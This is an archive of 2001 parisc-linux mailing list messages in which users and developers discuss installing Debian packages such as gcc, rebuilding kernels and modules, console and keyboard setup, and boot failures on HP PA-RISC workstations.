NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 16:25:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89160482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 16:25:30 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f6HMPck22394
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 15:25:39 -0700 (PDT)
Original-Received: from cisco.com (csuder-isdn5.cisco.com [10.19.244.110])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id AAO04799;
	Tue, 17 Jul 2001 15:25:24 -0700 (PDT)
Original-Sender: csuder@cisco.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11671

Hi,

I installed 0.9.2 on a 712/80, installation went nicely but there's no
gcc installed. :-( Appears there is no such package on the CD. There is
a package on the 9.0 CD (which failed to install any packages.....) but
I can't figure out how to get that installed. Tried "apt-get install
./<filename>" but get an error message about python-zlib !?!?  I'm not
Debian-literate, so how do I get the compiler ?

Thanks,
    Christian





From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.2 missing compiler ?
Date: Tue, 17 Jul 2001 16:35:55 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010717223555.D5DD037CB4@carmen.fc.hp.com>
References: <3B54BB51.8CF43B05@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620318 22559 80.91.229.3 (22 Nov 2014 01:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 16:36:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44D74482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 16:36:20 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 5E1A51F871; Tue, 17 Jul 2001 18:35:21 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D5DD037CB4; Tue, 17 Jul 2001 16:35:55 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Tue, 17 Jul 2001 15:25:21 PDT."
             <3B54BB51.8CF43B05@cisco.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11672

Christian Suder writes...

> Hi,
> 
> I installed 0.9.2 on a 712/80, installation went nicely but there's no
> gcc installed. :-( Appears there is no such package on the CD. There is
> a package on the 9.0 CD (which failed to install any packages.....) but
> I can't figure out how to get that installed. Tried "apt-get install
> ./<filename>" but get an error message about python-zlib !?!?  I'm not
> Debian-literate, so how do I get the compiler ?

man apt-get
man sources.list
vi /etc/apt/sources.list
apt-get update
apt-get install gcc

Reply if you still need help after that.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.2 missing compiler ?
Date: Wed, 18 Jul 2001 00:26:35 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3B54BB9B.2D49FDCF@esiee.fr>
References: <3B54BB51.8CF43B05@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620318 22566 80.91.229.3 (22 Nov 2014 01:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:38 +0000 (UTC)
To: Christian Suder <csuder@cisco.com>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 16:39:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11C8E482A
	for <parisc-linux@parisc-linux.org>; Tue, 17 Jul 2001 16:39:01 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id D857DD15AB; Wed, 18 Jul 2001 00:38:58 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11673

Hi Christian,

	If you have your box connected to the web (that should be true
regarding where you work :), you just have to add this line to your
/etc/apt/sources.list
deb http://http.us.debian.org/debian unstable main

If you have a proxy to get http working, you have to create the file
/etc/apt/apt.conf which containts this:
Acquire::http::Proxy "http://your.proxy.fqdn:port/";

And then just a little apt-get update where you should see that it
downloads the files.

For your information, I just had a look to the big ISO and I get that:

spqr:/cdrom1/dists/sid/main/binary-hppa/more_packages# ls gcc
gcc-3.0-base_3.0-3_all.deb
gcc-hppa64_3.0-0pre010427.0.0.1_hppa.deb
gcc_3.0-6_hppa.deb

So, it seems to be there. Perhaps, you have the little one without it.
Try to download the big one, if the instructions above do not work.

Regards, Thomas
ESIEE Team




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 no longer boots into console?
Date: Wed, 18 Jul 2001 09:30:04 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010718093004.Z30356@linuxcare.com>
References: <200107172125.NAA09485@goliath> <Pine.LNX.4.33.0107171419400.8533-100000@goliath>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620319 22571 80.91.229.3 (22 Nov 2014 01:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tom <tom@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 02:32:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id F133F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 02:32:06 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BAD4DB00C; Wed, 18 Jul 2001 09:30:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0107171419400.8533-100000@goliath>; from tom@alaskatech.org on Tue, Jul 17, 2001 at 02:21:16PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11674

On Tue, Jul 17, 2001 at 02:21:16PM -0800, Tom wrote:
> On Tue, 17 Jul 2001, Helge Deller wrote:
> > > > I assume your /etc/inittab is spawning a getty on tty0?
> > >
> > > Tom: Does it ?  If not, then that's why it's failing.
> >
> > Tom, I just saw you already answered this.
> > So please forget about my mail.
> >
> > Greetings,
> > Helge
> 
> No problem :-)  Actually, my only remaining question is why disabling the
> tty[x] entries in inittab would be a default behavior; I had changed it
> with 0.9 and the install of 0.91 changed it back. Weird.
> 
> Anyway, that might be a good thing to change for a 1.0 release - assuming
> the console will be serial could be bad...

Installer should auto detect whether it is on a serial on graphical
console, and set up inittab appropriately.  Sounds like it got confused
in your case.  Not aware of anyone else having that problem.

Richard




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.6-pa20 question about modules
Date: Wed, 18 Jul 2001 18:33:21 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <OF9ED32FBA.01646964-ONC1256A8D.0059C095@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620319 22577 80.91.229.3 (22 Nov 2014 01:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marteaut@esiee.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 10:33:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F0DC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 10:33:23 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54d3b6218a@epirel991.europay.com>;
 Wed, 18 Jul 2001 18:33:01 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/18/2001 06:35:43 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11675

Hi Thomas,

With your tips
(http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)

the cvs 20010717 seems to works fine.
(for b180 still have to unplug re-plug kdb)

I also try to recompile it with the .config file supply with palinux-0.9.2.
It also seems to works well but modules are not install naturally.
Can you explain me how to compile it and install it?

Thanks in advance for help,
     Joel

PS: How is it possible to cvs co a previous kernel release now (f.e.
2.4.0-pa30)?



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] low-level format for Hp 715/50 machine SCSI disk
Date: Wed, 18 Jul 2001 15:43:04 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <002201c10fc1$dc7f7590$d30c6481@HCI008>
References: <000801c10e2e$bb1dee70$d10c6481@HCI009> <20010717105752.Q30356@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620319 22579 80.91.229.3 (22 Nov 2014 01:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 13:52:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D159482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 13:52:18 -0600 (MDT)
Original-Received: from HCI008 (gl-211.gaul.csd.uwo.ca [129.100.12.211])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f6IJqBV09258
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 15:52:11 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11676

Hi!

Does anyone know how to do low-level hard disk format for HP 715/50
machines. We cannot boot it up with its own scsi disck, since there are
error messages.

thanks,





From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problems with Release 0.9 for PA-RISC
Date: Wed, 18 Jul 2001 15:35:58 -0600
Lines: 85
Approved: news@gmane.org
Message-ID: <200107182135.PAA08428@puffin.external.hp.com>
References: <Ulrich.Laubrock@t-systems.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620319 22584 80.91.229.3 (22 Nov 2014 01:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Laubrock, Ulrich" <Ulrich.Laubrock@t-systems.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 15:36:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BB37482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 15:36:58 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA08428;
	Wed, 18 Jul 2001 15:35:58 -0600
In-Reply-To: Message from "Laubrock, Ulrich" <Ulrich.Laubrock@t-systems.de> 
   of "Wed, 18 Jul 2001 21:17:26 +0200." <BB6FA1C61CD5D411ACF800D0B7DBBAFF13812B@G8DJW> 
Xref: news.gmane.org gmane.linux.ports.parisc:11677

"Laubrock, Ulrich" wrote:
> Hallo Mr. Grundler,
> 
> i have tested the 0.9 Release for PA-RISC on a HP 712/80 with 128 MB RAM and 
>   2 GB drive.
> I have installed STI sid.
> 
> After the installation i have reboot the system and then the kernel crashed. 
>   I have tested an reboot again but it has no effect. Then i have get an univ
>   ersal kernel from your website. With this kernel the system is running good
>   .
> Is there a known problem with the kernel?

Hi Ulrich,

hmm...at times...but the install kernel should work fine on a 712.
You could download the 0.92 version and steal the right kernel from that.

The team at ESIEE (http://mkhppa1.esiee.fr/) put the ISO's together.
AFAIK it was tested on 712's, 715's, B180, B132, C3000, J5000 and A500.

> At the installation i have set the keyboard to german layout, but after reboo
>   t the system has lost this setting, it was only temporary for the installat
>   ion. Then i have set "loadkey german" in the /etc/profile.
> Now i have a german keyboard, but this keysetting has no ">,<,|". Using UNIX 
>   without "|" is not very good.
> What can i do to set german keyboard with all characters?

I don't know since I haven't needed to change keyboard settings.
Can any other german keyboard user help?

The parisc-linux mailing list probably has the answer if you look for it.
(http://lists.parisc-linux.org/)

> My greatest problem is that i have no ftpd, no telnetd and no rlogind. 
> As ftpd i think i can get wu_ftp, but where can i get an telnetd and an rlogi
>   nd?

Right.  As root:
	apt-get update 
	apt-get install ftpd
	apt-get install telnetd

I didn't see a rlogind package available.
The evil-minded debian developers I consort with have brainwashed
me into only using ssh and sshd.

> Is there a tool for administration the system after reboot the installation
>  like "dbootstrap" ?

Sorry - I don't know dbootstrap.

	debian:~# dpkg -S dbootstrap
	base-config: /usr/lib/base-config/0dbootstrap_settings

Might just need to apt-get the right package.

> Is the XServer running on this System?
> If yes, how can i start it?

On 712's I think so..  I have to refer you to the parisc-linux Mail archive:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012927.html

> 
> Mit freundlichen Gren
> Ulrich Laubrock


Mit freundlichen Gren
grant

> _____________________________________________
> T-Systems
> T-Nova Deutsche Telekom Innovationsgesellschaft mbH
> > EZ Rhein-Ruhr, EA 23-6 
> Tel:   	+49 521 5259 921
> Fax: 	+49 521 5259 694
> Email:	mailto:Ulrich.Laubrock@t-systems.de

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Nordlund <mathew@eagle.y.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 K200
Date: Thu, 19 Jul 2001 00:31:13 +0200 (MEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0107190026100.531-100000@r2d2.eagle.y.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620320 22588 80.91.229.3 (22 Nov 2014 01:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 16:31:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amidala.eagle.y.se (amidala.eagle.y.se [194.17.221.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78B31482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 16:31:04 -0600 (MDT)
Original-Received: from r2d2.eagle.y.se (r2d2.eagle.y.se [194.17.221.12])
	by amidala.eagle.y.se (Postfix) with ESMTP id 1049E32119
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 00:31:03 +0200 (MEST)
Original-Received: from localhost (mathew@localhost)
	by r2d2.eagle.y.se (8.9.3+Sun/8.9.3) with ESMTP id AAA08882
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 00:31:14 +0200 (MEST)
X-Authentication-Warning: r2d2.eagle.y.se: mathew owned process doing -bs
Xref: news.gmane.org gmane.linux.ports.parisc:11678

Hi!

I have a K200 wich I'm trying to install Linux on, is this even supported?
Whan I try the palinux-cd it dies a horrible death just after the ramdrive
is uncompressed. If I try the lifiimage from the ftp it dies after the
serial-driver is started, seems to be the same problem as on the cd.
When I try my "home-compiled" kernel it dies directly.. :(

So if anyone run linux on a K200, could they please help me, I really
don't wanna run HP-UX on this one =)


bootlog:
http://ariana.eagle.y.se/~mathew/hp9000_boot.txt

Hardware:
2x CPU
256 MB ram
no HP-BA cards on it at the moment.





From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 00:29:00 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3B560DAC.2BE6D4A2@esiee.fr>
References: <OF9ED32FBA.01646964-ONC1256A8D.0059C095@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620320 22591 80.91.229.3 (22 Nov 2014 01:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:40 +0000 (UTC)
To: =?iso-8859-1?Q?Jo=EBl?= Soete <jso@europay.com>,
	parisc-linux@parisc-linux.org <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 16:41:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E55A4831
	for <parisc-linux@parisc-linux.org>; Wed, 18 Jul 2001 16:41:38 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2642DD15B7; Thu, 19 Jul 2001 00:41:32 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11679

Hi Jol and all,
> 
> With your tips
> (http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)
> 
> the cvs 20010717 seems to works fine.
> (for b180 still have to unplug re-plug kdb)
Nice to know that. But, I think I will deliver a big patch for the
keyboard story. Then, I will need some testers. Thanks to be one of them
:)
> 
> I also try to recompile it with the .config file supply with palinux-0.9.2.
> It also seems to works well but modules are not install naturally.
> Can you explain me how to compile it and install it?
> 
First, you must know that some of the drivers are not modularized yet. I
think that it looks like pc modules. But since I am not a guru in this
stuff, I think someone else will tell you
> Thanks in advance for help,
>      Joel
> 
> PS: How is it possible to cvs co a previous kernel release now (f.e.
> 2.4.0-pa30)?
I would like to know. I think, if you read at Paul Bame litterature, he
said that it is broken for 2.4.0.
I can grab old versions with cvs co -r 1.83 linux, for example.
To know the release you want, use this:
http://puffin.external.hp.com/cgi-bin/cvsview/

Thanks again for reporting, Thomas.
ESIEE Team

PS: I also hope an explanation of modules on hppa. I will have to write
all the cleanup stuff for the mouse.




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 00:24:47 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20010719002447.L30356@linuxcare.com>
References: <OF9ED32FBA.01646964-ONC1256A8D.0059C095@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620320 22594 80.91.229.3 (22 Nov 2014 01:38:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:40 +0000 (UTC)
Cc: marteaut@esiee.fr, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 17:26:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id A075C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 17:26:53 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9040BB00C; Thu, 19 Jul 2001 00:24:47 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <OF9ED32FBA.01646964-ONC1256A8D.0059C095@LocalDomain>; from jso@europay.com on Wed, Jul 18, 2001 at 06:33:21PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11680

On Wed, Jul 18, 2001 at 06:33:21PM +0200, Jol Soete wrote:
> Hi Thomas,
> 
> With your tips
> (http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)
> 
> the cvs 20010717 seems to works fine.
> (for b180 still have to unplug re-plug kdb)
> 
> I also try to recompile it with the .config file supply with palinux-0.9.2.
> It also seems to works well but modules are not install naturally.
> Can you explain me how to compile it and install it?

If I understand correctly, you are rebuilding the kernel, and want
kernel modules installed correctly under /lib/modules?


cd /usr/src/linux   (or wherever your source tree is)
# save your .config file, if you want it
make distclean
cp <config file> .config
make oldconfig
make dep
make
make modules
make modules_install
cp vmlinux /boot/vmlinux   (or whereever you want it to go)


Richard





From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 K200
Date: Wed, 18 Jul 2001 20:19:05 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <200107190219.UAA09084@puffin.external.hp.com>
References: <mathew@eagle.y.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620321 22597 80.91.229.3 (22 Nov 2014 01:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mattias Nordlund <mathew@eagle.y.se>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 18 20:20:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4A81482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Jul 2001 20:20:13 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA09084;
	Wed, 18 Jul 2001 20:19:06 -0600
In-Reply-To: Message from Mattias Nordlund <mathew@eagle.y.se> 
   of "Thu, 19 Jul 2001 00:31:13 +0200." <Pine.GSO.4.33.0107190026100.531-100000@r2d2.eagle.y.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:11681

Mattias Nordlund wrote:
> 
> Hi!
> 
> I have a K200 wich I'm trying to install Linux on, is this even supported?
> Whan I try the palinux-cd it dies a horrible death just after the ramdrive
> is uncompressed. If I try the lifiimage from the ftp it dies after the
> serial-driver is started, seems to be the same problem as on the cd.
> When I try my "home-compiled" kernel it dies directly.. :(

>From the bootlog, I only see that I built the kernel.
The newest one from the FTP site is:
-rw-r--r--   1 grundler cvsusers  1149294 May  6 00:34 lifimage_32_serial_20010505.gz

Which version of the palinux-cd?


> bootlog:
> http://ariana.eagle.y.se/~mathew/hp9000_boot.txt

One would have to extract the System.map from the vmlinux in this lifimage
in order to make any sense of the console log.

Looks like a null ptr derefence. Trying a newer 32-bit kernel/lifimage
would be a first step.  I've put a newer files on puffin.external.hp.com
ftp site (pub/parisc/binaries/lifimages):
-rw-r--r--   1 grundler cvsusers  1412239 Jul 18 20:14 lifimage_32_serial_20010717.gz
-rw-r--r--   1 grundler cvsusers   549881 Jul 18 20:16 System.map_serial_20010717

Can't promise they will work better though...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 08:05:42 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <OF166CA386.DB754B89-ONC1256A8E.00206BB9@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620321 22600 80.91.229.3 (22 Nov 2014 01:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
